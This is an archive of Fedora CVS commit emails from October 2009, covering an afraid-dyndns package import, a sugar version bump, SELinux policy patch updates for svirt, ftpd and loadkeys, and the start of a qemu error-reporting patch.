	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001212343.8F72011C0261@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23057/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	afraid-dyndns.spec import.log 
Log Message:
Thu Oct 1 2009 Erick Calder <rpm at arix.com>




--- NEW FILE afraid-dyndns.spec ---
Name:      afraid-dyndns
Version:   1.0
Release:   2%{?dist}
Summary:   A dynamic DNS client for the free service afraid.org
Group:     System Environment/Daemons
License:   GPLv3+
URL:       http://perl.arix.com
Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch: noarch

%description
This utility implements a client for the free afraid.org dynamic DNS
service. A cron job is set up to check whether the external IP address
has changed, and when it does, connects to afraid.org and updates the
DNS entries of all the domains of the given account.

%prep
%setup -q

%build

%install
rm -rf %{buildroot}
%{__make} DESTDIR=%{buildroot} install

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README LICENSE
%{_bindir}/*
%config(noreplace) %{_sysconfdir}/afraid-dyndns.conf
%config(noreplace) %{_sysconfdir}/cron.d/afraid-dyndns
%dir %{_localstatedir}/cache/afraid-dyndns
%ghost %{_localstatedir}/cache/afraid-dyndns/IP

%changelog
* Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
- tarball extension changed

* Sat Sep 12 2009 Erick Calder <rpm at arix.com> - 1.0-1
- Initial build


--- NEW FILE import.log ---
afraid-dyndns-1_0-2_fc11:F-12:afraid-dyndns-1.0-2.fc11.src.rpm:1254432212


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:49:25 -0000	1.1
+++ .cvsignore	1 Oct 2009 21:23:43 -0000	1.2
@@ -0,0 +1 @@
+afraid-dyndns-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:49:26 -0000	1.1
+++ sources	1 Oct 2009 21:23:43 -0000	1.2
@@ -0,0 +1 @@
+b57fe13f683f36b7daa5b035437370a9  afraid-dyndns-1.0.tar.gz



From erikos at fedoraproject.org  Thu Oct  1 21:25:07 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  1 Oct 2009 21:25:07 +0000 (UTC)
Subject: rpms/sugar/F-12 .cvsignore, 1.46, 1.47 sources, 1.48,
	1.49 sugar.spec, 1.74, 1.75
Message-ID: <20091001212507.BDECE11C0261@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23770

Modified Files:
	.cvsignore sources sugar.spec 
Log Message:
* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-1
- Activities tray doesn't reflect well on switching between windows if 
there are non-sugar ones #1444
- sugar-emulator starts sugar out of Xephyr #1432
- Sugar resets gnome's cursor #1433
- Pass timestamp to gdk.Window.focus() on shell startup #1451
- Starting/resuming an entry from Journal shows wrong colours #1421
- Control panel resizing issue (for non en_US languages) #308
- Do not start title editing for non-ds objects #1411
- Shutdown/Reboot fails when multiple users are logged in #246
- Package sugar-desktop icon #1139
- Present windows in non-active process #1423




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/.cvsignore,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- .cvsignore	27 Sep 2009 17:29:03 -0000	1.46
+++ .cvsignore	1 Oct 2009 21:25:07 -0000	1.47
@@ -1 +1 @@
-sugar-0.86.0.tar.bz2
+sugar-0.86.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	27 Sep 2009 17:29:04 -0000	1.48
+++ sources	1 Oct 2009 21:25:07 -0000	1.49
@@ -1 +1 @@
-ca3f9b617946f5f60e45121fcecbfead  sugar-0.86.0.tar.bz2
+ea12fcfd69bea47eee0c4e9256587f5e  sugar-0.86.1.tar.bz2


Index: sugar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/sugar.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- sugar.spec	27 Sep 2009 17:29:04 -0000	1.74
+++ sugar.spec	1 Oct 2009 21:25:07 -0000	1.75
@@ -5,7 +5,7 @@
 
 Summary: Constructionist learning platform
 Name: sugar
-Version: 0.86.0
+Version: 0.86.1
 Release: 1%{?dist}
 #Release: 4.%{alphatag}%{?dist}
 URL: http://sugarlabs.org/
@@ -143,6 +143,19 @@ rm -rf %{buildroot}
 %{_datadir}/applications/sugar-emulator.desktop
 
 %changelog
+* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-1
+- Activities tray doesn't reflect well on switching between windows if 
+there are non-sugar ones #1444
+- sugar-emulator starts sugar out of Xephyr #1432
+- Sugar resets gnome's cursor #1433
+- Pass timestamp to gdk.Window.focus() on shell startup #1451
+- Starting/resuming an entry from Journal shows wrong colours #1421
+- Control panel resizing issue (for non en_US languages) #308
+- Do not start title editing for non-ds objects #1411
+- Shutdown/Reboot fails when multiple users are logged in #246
+- Package sugar-desktop icon #1139
+- Present windows in non-active process #1423
+
 * Sun Sep 27 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.0-1
 - New upstream release
 



From dwalsh at fedoraproject.org  Thu Oct  1 21:27:35 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 21:27:35 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.97,
	1.98 selinux-policy.spec, 1.934, 1.935
Message-ID: <20091001212735.4379111C0261@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24993

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-18
- Allow svirt to list sysfs_t directory


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |    7 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.pp              |binary
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   75 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   67 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    4 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   31 
 policy/modules/admin/vbetool.te           |   16 
 policy/modules/admin/vpn.te               |    1 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   17 
 policy/modules/apps/java.if               |  111 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   21 
 policy/modules/apps/nsplugin.fc           |   12 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  294 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    6 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 ++++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  182 +++
 policy/modules/apps/sandbox.te            |  329 +++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |   59 +
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   31 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    8 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |   36 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  402 ++++++++
 policy/modules/roles/unprivuser.te        |  131 --
 policy/modules/roles/xguest.te            |   18 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   21 
 policy/modules/services/abrt.te           |   14 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  438 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   18 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   34 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |    9 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    5 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   45 
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   86 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   63 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 +
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   40 
 policy/modules/services/rgmanager.te      |   54 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   17 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   78 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  183 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++-
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   30 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  204 +++-
 policy/modules/system/authlogin.te        |    9 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  277 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  158 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |    4 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.if        |   38 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  226 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   74 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1404 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 337 files changed, 15770 insertions(+), 2597 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.97
retrieving revision 1.98
diff -u -p -r1.97 -r1.98
--- policy-F12.patch	1 Oct 2009 13:45:07 -0000	1.97
+++ policy-F12.patch	1 Oct 2009 21:27:34 -0000	1.98
@@ -2514,6 +2514,17 @@ diff -b -B --ignore-all-space --exclude-
 +')
 +
 +seutil_domtrans_setfiles_mac(livecd_t)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/loadkeys.te serefpolicy-3.6.32/policy/modules/apps/loadkeys.te
+--- nsaserefpolicy/policy/modules/apps/loadkeys.te	2009-08-14 16:14:31.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/loadkeys.te	2009-10-01 14:51:17.000000000 -0400
+@@ -45,3 +45,7 @@
+ optional_policy(`
+ 	nscd_dontaudit_search_pid(loadkeys_t)
+ ')
++
++ifdef(`hide_broken_symptoms',`
++	dev_dontaudit_rw_lvm_control_dev(loadkeys_t)
++')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/mono.if serefpolicy-3.6.32/policy/modules/apps/mono.if
 --- nsaserefpolicy/policy/modules/apps/mono.if	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/apps/mono.if	2009-09-30 16:12:48.000000000 -0400
@@ -5114,7 +5125,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/named/chroot/dev/zero -c	gen_context(system_u:object_r:zero_device_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/devices.if serefpolicy-3.6.32/policy/modules/kernel/devices.if
 --- nsaserefpolicy/policy/modules/kernel/devices.if	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/devices.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/devices.if	2009-10-01 16:59:38.000000000 -0400
 @@ -1692,6 +1692,78 @@
  
  ########################################
@@ -5256,7 +5267,33 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  ## <summary>
  ##	Read the lvm comtrol device.
-@@ -2305,6 +2432,25 @@
+@@ -1818,6 +1945,25 @@
+ 
+ ########################################
+ ## <summary>
++##	Do not audit attempts to read and write lvm control device.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`dev_dontaudit_rw_lvm_control_dev',`
++	gen_require(`
++		type lvm_control_t;
++	')
++
++	dontaudit $1 lvm_control_t:chr_file rw_file_perms;
++')
++
++
++########################################
++## <summary>
+ ##	dontaudit getattr raw memory devices (e.g. /dev/mem).
+ ## </summary>
+ ## <param name="domain">
+@@ -2305,6 +2451,25 @@
  
  ########################################
  ## <summary>
@@ -5282,7 +5319,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Read and write to the null device (/dev/null).
  ## </summary>
  ## <param name="domain">
-@@ -3599,6 +3745,24 @@
+@@ -3599,6 +3764,24 @@
  
  ########################################
  ## <summary>
@@ -12460,7 +12497,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/ftp.te serefpolicy-3.6.32/policy/modules/services/ftp.te
 --- nsaserefpolicy/policy/modules/services/ftp.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/ftp.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/ftp.te	2009-10-01 14:28:11.000000000 -0400
 @@ -41,6 +41,13 @@
  
  ## <desc>
@@ -12475,7 +12512,7 @@ diff -b -B --ignore-all-space --exclude-
  ## Allow ftp to read and write files in the user home directories
  ## </p>
  ## </desc>
-@@ -78,6 +85,14 @@
+@@ -78,12 +85,20 @@
  type xferlog_t;
  logging_log_file(xferlog_t)
  
@@ -12490,6 +12527,13 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  #
  # ftpd local policy
+ #
+ 
+-allow ftpd_t self:capability { chown fowner fsetid setgid setuid sys_chroot sys_nice sys_resource };
++allow ftpd_t self:capability { chown fowner fsetid setgid setuid sys_chroot sys_admin sys_nice sys_resource };
+ dontaudit ftpd_t self:capability sys_tty_config;
+ allow ftpd_t self:process signal_perms;
+ allow ftpd_t self:process { getcap setcap setsched setrlimit };
 @@ -92,6 +107,8 @@
  allow ftpd_t self:unix_stream_socket create_stream_socket_perms;
  allow ftpd_t self:tcp_socket create_stream_socket_perms;
@@ -19809,7 +19853,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.te serefpolicy-3.6.32/policy/modules/services/virt.te
 --- nsaserefpolicy/policy/modules/services/virt.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-01 16:59:54.000000000 -0400
 @@ -20,6 +20,28 @@
  ## </desc>
  gen_tunable(virt_use_samba, false)
@@ -19970,9 +20014,9 @@ diff -b -B --ignore-all-space --exclude-
 +fs_getattr_xattr_fs(virtd_t)
 +fs_rw_anon_inodefs_files(virtd_t)
 +fs_list_inotifyfs(virtd_t)
- 
-+modutils_manage_module_config(virtd_t)
 +
++modutils_manage_module_config(virtd_t)
+ 
 +storage_manage_fixed_disk(virtd_t)
 +storage_relabel_fixed_disk(virtd_t)
  storage_raw_write_removable_device(virtd_t)
@@ -20015,6 +20059,10 @@ diff -b -B --ignore-all-space --exclude-
 +
 +optional_policy(`
 +	kerberos_keytab_template(virtd, virtd_t)
++')
++
++optional_policy(`
++	lvm_domtrans(virtd_t)
  ')
  
 -#optional_policy(`
@@ -20022,10 +20070,6 @@ diff -b -B --ignore-all-space --exclude-
 -#	polkit_domtrans_resolve(virtd_t)
 -#')
 +optional_policy(`
-+	lvm_domtrans(virtd_t)
-+')
-+
-+optional_policy(`
 +        policykit_dbus_chat(virtd_t)
 +	policykit_domtrans_auth(virtd_t)
 +	policykit_domtrans_resolve(virtd_t)
@@ -20042,7 +20086,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -196,8 +301,160 @@
+@@ -196,8 +301,162 @@
  
  	xen_stream_connect(virtd_t)
  	xen_stream_connect_xenstore(virtd_t)
@@ -20108,6 +20152,8 @@ diff -b -B --ignore-all-space --exclude-
 +	dev_rw_printer(svirt_t)
 +')
 +
++dev_list_sysfs(svirt_t)
++
 +tunable_policy(`virt_manage_sysfs',`
 +	dev_rw_sysfs(svirt_t)
 +')


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.934
retrieving revision 1.935
diff -u -p -r1.934 -r1.935
--- selinux-policy.spec	1 Oct 2009 13:45:08 -0000	1.934
+++ selinux-policy.spec	1 Oct 2009 21:27:34 -0000	1.935
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 17%{?dist}
+Release: 18%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,9 @@ exit 0
 %endif
 
 %changelog
+* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-18
+- Allow svirt to list sysfs_t directory
+
 * Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-17
 - Allow vpnc request the kernel to load modules
 



From jforbes at fedoraproject.org  Thu Oct  1 21:29:40 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Thu,  1 Oct 2009 21:29:40 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu-improve-error-reporting-on-file-access.patch,
	NONE, 1.1 qemu.spec, 1.135, 1.136
Message-ID: <20091001212940.93B5E11C0261@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26302

Modified Files:
	qemu.spec 
Added Files:
	qemu-improve-error-reporting-on-file-access.patch 
Log Message:
Improve error reporting on file access (#524695)

qemu-improve-error-reporting-on-file-access.patch:
 hw/pc.c |   12 ++++++------
 vl.c    |   21 ++++++++++-----------
 2 files changed, 16 insertions(+), 17 deletions(-)

--- NEW FILE qemu-improve-error-reporting-on-file-access.patch ---
